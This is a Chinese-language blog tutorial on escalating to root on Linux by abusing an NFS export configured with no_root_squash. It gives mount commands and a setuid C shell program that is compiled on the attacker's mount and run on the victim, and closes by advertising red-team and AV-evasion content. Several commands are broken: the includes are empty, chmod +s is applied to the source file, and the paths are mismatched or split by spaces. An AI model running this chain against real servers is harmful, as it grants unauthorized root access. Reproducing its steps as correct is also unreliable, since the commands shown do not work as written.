linux7.7 离线安装nfs客户端_Linux提权姿势二:利用NFS提权

如果在服务器上具有低特权shell,并且发现服务器中具有NFS共享,则可以使用它来升级特权。但是成功取决于它的配置方式。

目录

1.什么是NFS?2.什么是root_sqaush和no_root_sqaush?3.所需的工具和程序文件。4.利用NFS弱权限。

什么是NFS?

网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在  NFS  协议是几个分布式文件系统标准,网络附加存储(NAS)之一。

NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。

什么是root_sqaush和no_root_sqaush?

Root Squashing(root_sqaush)参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户“ nfsnobody ”,它具有最少的本地特权。如果 no_root_squash 选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用“ root_squash ”参数。

注意:要利用此,no_root_squash 选项得开启。

利用NFS并获取Root Shell

现在,我们拿到了一个低权限的shell,我们查看“ / etc / exports ”文件。

/ etc / exports 文件包含将哪些文件夹/文件系统导出到远程用户的配置和权限。

这个文件的内容非常简单,每一行由抛出路径,客户名列表以及每个客户名后紧跟的访问选项构成:

[共享的目录] [主机名或IP(参数,参数)]

其中参数是可选的,当不指定参数时,nfs将使用默认选项。默认的共享选项是 sync,ro,root_squash,no_delay。当主机名或IP地址为空时,则代表共享给任意客户机提供服务。当将同一目录共享给多个客户机,但对每个客户机提供的权限不同时,可以这样:[共享的目录] [主机名1或IP1(参数1,参数2)] [主机名2或IP2(参数3,参数4)]

4853734c9f51a91cc363c848a9fba8d9.png

我们可以看到/ tmp 文件夹是可共享的,远程用户可以挂载它。

还有不安全的参数“ rw ”(读,写),“ sync ”和“ no_root_squash ”

同样我们也可以使用 showmount命令来查看。

showmount命令用于查询NFS服务器的相关信息# showmount --help Usage: showmount [-adehv]        [--all] [--directories] [--exports]        [--no-headers] [--help] [--version] [host]-a或--all    以 host:dir 这样的格式来显示客户主机名和挂载点目录。 -d或--directories    仅显示被客户挂载的目录名。 -e或--exports    显示NFS服务器的输出清单。 -h或--help    显示帮助信息。 -v或--version    显示版本信。 --no-headers    禁止输出描述头部信息。显示NFS客户端信息 # showmount显示指定NFS服务器连接NFS客户端的信息 # showmount 192.168.1.1  #此ip为nfs服务器的显示输出目录列表 # showmount -e显示指定NFS服务器输出目录列表(也称为共享目录列表) # showmount -e 192.168.1.1显示被挂载的共享目录 # showmount -d显示客户端信息和共享目录 # showmount -a显示指定NFS服务器的客户端信息和共享目录# showmount -a 192.168.1.1

这里不多说了

我们接下来在我们的攻击机上安装客户端工具

需要执行以下命令,安装nfs-common软件包。apt会自动安装nfs-common、rpcbind等12个软件包

sudo apt install nfs-commonapt-get install cifs-utils

然后输入命令

showmount -e [IP地址]

9bb7bf40c4d1d48463e3ab3e326b6c82.png

创建目录以挂载远程系统。

mkdir / tmp / test

在/tmp/test上装载Remote/tmp文件夹:

mount -o rw,vers = 2 [IP地址]:/ tmp / tmp / test

7557db13be2ba552c472b37aa1d427a7.png

然后在/tmp/test/中。新建一个c文件。

#include #include #include #include int main() { setuid(0); system("/bin/bash"); return 0; }

也可以

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/test/suid-shell.c

编译:

gcc /tmp/test/suid-shell.c -o / tmp / 1 / suid-shel

赋权:

chmod + s /tmp/test/suid-shell.c

5d15f75a0a0ee9bc71360866935f52df.png

好的,我们回到要提权的服务器上

cd / tmp./suid-shell

c3db61b9934e225b013708743fbb96f4.png

可以看到是ROOT权限了

系列

Linux提权姿势一:滥用SUDO提权

渗透测试 红队攻防 免杀 权限维持 等等技术 

及时分享最新漏洞复现以及EXP 国内外最新技术分享!!!

进来一起学习吧

fdd911fe9d877709c7af180dcaca0207.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值